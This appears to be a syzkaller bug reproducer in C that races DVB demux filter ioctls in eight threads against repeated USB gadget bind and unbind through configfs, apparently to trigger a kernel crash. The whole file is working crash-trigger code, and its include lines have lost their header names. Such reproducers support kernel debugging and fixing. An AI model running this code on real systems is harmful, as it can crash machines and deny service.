// https://syzkaller.appspot.com/bug?id=0a78ca1f53f19e272f8b13be0d851ebe7ffc1641 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef DMX_IMMEDIATE_START #define DMX_IMMEDIATE_START 4 #endif void write_file(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); exit(1); } if (write(fd, val, strlen(val)) < 0) { printf("[-] Failed to write to %s: %s\n", path, strerror(errno)); close(fd); exit(1); } close(fd); } int try_create_function(const char *func_name) { char path[256]; snprintf(path, sizeof(path), "/sys/kernel/config/usb_gadget/g1/functions/%s", func_name); if (mkdir(path, 0777) == 0) { printf("[+] Successfully created function %s\n", func_name); return 0; } return -1; } void setup_usb() { if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno)); } if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0 && errno != EBUSY) { printf("[-] Failed to mount configfs: %s\n", strerror(errno)); exit(1); } printf("[+] Mounted configfs\n"); if (mkdir("/sys/kernel/config/usb_gadget/g1", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to create gadget: %s\n", strerror(errno)); exit(1); } printf("[+] Created gadget\n"); write_file("/sys/kernel/config/usb_gadget/g1/idVendor", "0x7a69"); write_file("/sys/kernel/config/usb_gadget/g1/idProduct", "0x0001"); if (mkdir("/sys/kernel/config/usb_gadget/g1/strings/0x409", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to create strings: %s\n", strerror(errno)); exit(1); } if (mkdir("/sys/kernel/config/usb_gadget/g1/configs/c.1", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to create config: %s\n", strerror(errno)); exit(1); } const char *functions[] = {"SourceSink.usb0", "acm.usb0", "mass_storage.usb0", "Loopback.usb0", "rndis.usb0"}; int func_created = 0; char func_path[256]; for (int i = 0; i < sizeof(functions)/sizeof(functions[0]); i++) { if (try_create_function(functions[i]) == 0) { func_created = 1; snprintf(func_path, sizeof(func_path), "/sys/kernel/config/usb_gadget/g1/functions/%s", functions[i]); break; } } if (!func_created) { printf("[-] Failed to create any USB function\n"); exit(1); } if (symlink(func_path, "/sys/kernel/config/usb_gadget/g1/configs/c.1/func") < 0 && errno != EEXIST) { printf("[-] Failed to symlink function: %s\n", strerror(errno)); exit(1); } printf("[+] Symlinked function\n"); } char udc_name[256] = {0}; void find_udc() { DIR *dir = opendir("/sys/class/udc/"); if (!dir) { printf("[-] Failed to open /sys/class/udc/: %s\n", strerror(errno)); exit(1); } struct dirent *ent; while ((ent = readdir(dir)) != NULL) { if (ent->d_name[0] != '.') { strncpy(udc_name, ent->d_name, sizeof(udc_name) - 1); break; } } closedir(dir); if (strlen(udc_name) == 0) { printf("[-] No UDC found\n"); exit(1); } printf("[+] Found UDC: %s\n", udc_name); } void bind_usb() { write_file("/sys/kernel/config/usb_gadget/g1/UDC", udc_name); } void unbind_usb() { write_file("/sys/kernel/config/usb_gadget/g1/UDC", "\n"); } int minors[] = {0, 1, 2, 3, 4, 68, 132, 196}; #define NUM_MINORS (sizeof(minors) / sizeof(minors[0])) void *race_thread(void *arg) { struct dmx_sct_filter_params filter; memset(&filter, 0, sizeof(filter)); filter.pid = 0x1234; filter.flags = DMX_IMMEDIATE_START; while (1) { for (int i = 0; i < NUM_MINORS; i++) { char path[64]; sprintf(path, "/tmp/dvb_demux_%d", minors[i]); int fd = open(path, O_RDWR); if (fd >= 0) { ioctl(fd, DMX_SET_FILTER, &filter); close(fd); } } } return NULL; } int main() { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Starting reproducer\n"); for (int i = 0; i < NUM_MINORS; i++) { char path[64]; sprintf(path, "/tmp/dvb_demux_%d", minors[i]); if (mknod(path, S_IFCHR | 0666, makedev(212, minors[i])) < 0 && errno != EEXIST) { printf("[-] Failed to mknod %s: %s\n", path, strerror(errno)); } } setup_usb(); find_udc(); pthread_t th[8]; for (int i = 0; i < 8; i++) { pthread_create(&th[i], NULL, race_thread, NULL); } while (1) { bind_usb(); usleep(200000); // 200ms unbind_usb(); usleep(200000); } return 0; }